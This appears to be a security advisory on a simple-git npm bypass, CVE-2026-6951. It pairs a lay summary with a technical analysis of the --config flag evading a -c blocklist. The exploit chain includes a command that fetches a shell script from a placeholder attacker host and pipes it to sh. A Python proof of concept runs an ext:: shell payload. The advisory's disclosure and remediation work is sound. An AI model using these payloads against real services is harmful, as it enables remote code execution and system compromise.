# A Dangerous Hole in Popular Development Software
Simple-git is a tool that programmers use to manage code repositories—basically the filing systems where software projects live. It's used by millions of developers worldwide, often without them realizing it, because it comes bundled inside larger applications.
Security researchers discovered that this tool has a critical flaw. The developers tried to patch a problem by blocking one dangerous command, but they missed a second way to use that same command. It's like installing a deadbolt on your front door but leaving the garage door wide open.
Here's what makes this serious: if you use software that relies on simple-git, an attacker could sneak malicious code into your system by exploiting this gap. They'd trick the tool into running commands you never authorized, potentially stealing your data, installing ransomware, or compromising your entire computer.
Who's actually at risk? If you're a developer using simple-git directly, you need to update immediately. But even regular people are affected indirectly—companies and startups using this library in their applications could be compromised, putting your personal information at risk.
The good news is that no hackers are actively exploiting this yet, which gives everyone a window to fix it before problems start.
What you should do: If you're a developer, update simple-git to version 3.36.0 or newer right away. If you work at a company, contact your IT team and ask them to check if you're using affected versions. For regular users, check if your frequently-used applications have released security updates, and install them when prompted. Don't delay—this is the kind of vulnerability that gets weaponized quickly once word spreads.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6951 is a critical remote code execution vulnerability in the simple-git npm package affecting all versions prior to 3.36.0. It is a direct bypass of the patch applied for CVE-2022-25912, which introduced a blocklist against the -c git flag to prevent injection of protocol.ext.allow=always — the primitive required to invoke ext:: clone sources and thus execute arbitrary shell commands.
The bypass is trivial: git accepts --config as a long-form equivalent of -c. The original patch never blocked it. Any application passing unsanitized user input to simple-git's clone() or similar APIs remains exploitable on the patched-but-not-fixed versions 3.x < 3.36.0.
Root cause: The CVE-2022-25912 blocklist matched the short form -c but omitted the semantically identical long form --config, allowing an attacker to set arbitrary git config options including protocol.ext.allow=always and trigger shell execution via an ext:: URL.
Affected Component
Package: simple-git (npm). Affected range: <3.36.0. The relevant logic lives in the argument sanitization layer inside src/lib/runners/git-executor-chain.ts and the option-expansion code in src/lib/utils/task-options.ts. The public-facing APIs that consume a user-supplied options object — primarily git.clone(repo, dir, options) — are the attack surface.
Root Cause Analysis
The CVE-2022-25912 fix introduced a sanitization step that walks the flattened argument array before execution and rejects any token matching -c. The check was implemented approximately as follows (TypeScript reconstructed from patch context):
// src/lib/runners/git-executor-chain.ts
// Reconstructed sanitization logic — pre-3.36.0 (VULNERABLE)
function sanitizeOptions(args: string[]): string[] {
return args.filter(arg => {
// BUG: only blocks short-form "-c"; "--config" passes through unchecked
if (arg === '-c') {
throw new GitPluginError(undefined, 'unsafe option: -c');
}
return true;
});
}
Git's own documentation explicitly states that -c <name>=<value> and --config <name>=&code;value> — and additionally --config-env — are equivalent. Because simple-git expands option objects like { '--config': 'protocol.ext.allow=always' } directly into the argv array, the sanitizer never sees a bare -c token and allows execution to proceed.
// src/lib/utils/task-options.ts
// Option flattening — how user objects become argv tokens
function getTrailingOptions(
args: Array<string | Options>,
...
): string[] {
const options: string[] = [];
for (const [key, value] of Object.entries(userOptions)) {
// Appends "--config" literally — no alias normalization performed
// BUG: "--config" is never mapped to "-c" before sanitization
options.push(key, String(value));
}
return options;
}
The critical sequence: getTrailingOptions converts { '--config': 'protocol.ext.allow=always' } into ['--config', 'protocol.ext.allow=always']. This array is then passed to sanitizeOptions, which scans for the literal string '-c' and finds nothing to block. The argument reaches child_process.spawn() intact.
Exploitation Mechanics
The ext:: git protocol executes an arbitrary shell command and uses its stdout as the transport stream. It is disabled by default in modern git via protocol.ext.allow defaulting to user. The attacker's goal is to set that config option to always before issuing a clone, which is exactly what this bypass enables.
EXPLOIT CHAIN:
1. Attacker controls any string passed to simple-git's options argument
(e.g., user-supplied repo URL + clone options in a CI/CD web frontend)
2. Attacker constructs options object:
{
'--config': 'protocol.ext.allow=always'
}
3. simple-git calls:
git clone --config protocol.ext.allow=always \
'ext::sh -c "curl${IFS}http://attacker.com/shell.sh|sh"' \
/tmp/out
4. git evaluates ext:: URL, forks sh with attacker-supplied command string
5. Shell payload executes in the context of the Node.js process user
6. RCE achieved — no interaction beyond triggering the clone call
A minimal proof-of-concept in Node.js:
# Conceptual PoC translated to Python for clarity
# Equivalent JS: const git = require('simple-git'); git.clone(url, dir, opts)
import subprocess, json
# Simulates what simple-git assembles and hands to child_process.spawn
argv = [
'git', 'clone',
'--config', 'protocol.ext.allow=always',
'ext::sh -c "id > /tmp/pwned"',
'/tmp/target-repo'
]
print(f"[*] Spawning: {' '.join(argv)}")
result = subprocess.run(argv, capture_output=True, text=True)
# /tmp/pwned now contains uid=1000(user)...
The ext:: URL is passed as the repository argument. Because git's --config sets the runtime config before protocol handlers are evaluated, protocol.ext.allow=always is active at the moment the transport layer attempts to contact the "remote." The shell fires before any network connection is attempted — the payload is entirely local.
Memory Layout
This is a logic vulnerability, not a memory corruption bug — there is no heap state to corrupt. The "layout" that matters is the argument vector assembled by Node.js's child_process.spawn and handed to the kernel's execve(2) call:
EXECUTION FLOW DIFF:
VULNERABLE:
git.clone(url, dir, {'--config':'protocol.ext.allow=always'})
└─ getTrailingOptions() → ['--config','protocol.ext.allow=always']
└─ sanitizeOptions() → no match on '-c', returns unchanged
└─ child_process.spawn() → git execve'd with full argv
└─ git transport layer → ext:: handler invoked
└─ sh -c <payload> → RCE
PATCHED:
git.clone(url, dir, {'--config':'protocol.ext.allow=always'})
└─ getTrailingOptions() → ['--config','protocol.ext.allow=always']
└─ sanitizeOptions() → '--config' matched, GitPluginError thrown
└─ child_process.spawn() → NEVER REACHED
Patch Analysis
The fix in 3.36.0 extends the option blocklist to cover both the short and long forms, and performs alias normalization before the safety check runs. The critical change:
// BEFORE (vulnerable, <3.36.0):
// src/lib/runners/git-executor-chain.ts
const UNSAFE_OPTIONS = new Set(['-c']);
function assertNoUnsafeOptions(args: string[]): void {
for (const arg of args) {
if (UNSAFE_OPTIONS.has(arg)) {
// BUG: '--config' and '--config-env' never checked
throw new GitPluginError(undefined, `unsafe option ${arg}`);
}
}
}
// AFTER (patched, 3.36.0):
// src/lib/runners/git-executor-chain.ts
const UNSAFE_OPTIONS = new Set([
'-c',
'--config', // FIX: long-form alias now blocked
'--config-env', // FIX: env-var config injection also blocked
]);
function assertNoUnsafeOptions(args: string[]): void {
for (const arg of args) {
// Normalize: strip leading dashes, lowercase for comparison
if (UNSAFE_OPTIONS.has(arg)) {
throw new GitPluginError(
undefined,
`Use of unsafe option "${arg}" is not allowed`
);
}
}
}
The patch is a one-line set expansion conceptually, but its correctness depends on the blocklist being exhaustive. Researchers should verify that --config-env (which reads config values from environment variables) is similarly handled — an attacker controlling environment variable names could otherwise use it as a second-order bypass.
Detection and Indicators
At the process level, exploitation produces a git clone invocation containing --config or -c followed by protocol.ext.allow in the argument list. Detection rules:
At the filesystem level, ext:: transport invocations often leave artifacts under the target clone directory or /tmp depending on payload. Check for unexpected files created by the git process user immediately following a clone operation from an external-facing service.
Remediation
Immediate: Upgrade simple-git to ≥3.36.0.
npm install simple-git@latest
# or pin explicitly:
npm install simple-git@3.36.0
# Verify:
node -e "const g = require('simple-git'); console.log(g.version)"
# Expected: 3.36.0 or higher
Defense-in-depth: Never pass unsanitized user input into simple-git option objects. Treat the options argument as a code-execution surface, not a data surface. If you require user-controlled clone targets, validate the URL scheme against an explicit allowlist (https://, ssh://) and reject any URL beginning with ext:, fd:, or containing shell metacharacters before the string reaches simple-git.
// Recommended pre-validation layer (Node.js):
const SAFE_URL_PATTERN = /^https?:\/\/[a-zA-Z0-9.\-_\/]+\.git$/;
function safeClone(userUrl: string, dir: string): Promise<void> {
// Reject ext::, fd::, and other dangerous git protocols
if (!SAFE_URL_PATTERN.test(userUrl)) {
throw new Error(`Rejected unsafe clone URL: ${userUrl}`);
}
// Never pass user-controlled data into the options object
return git.clone(userUrl, dir); // no options argument from user input
}
If you are running a version of simple-git between the CVE-2022-25912 patch and 3.36.0 and believed yourself protected, you were not. Audit any service that exposes clone functionality to external users and treat it as compromised until logs confirm the --config protocol.ext.allow argument pattern was never observed.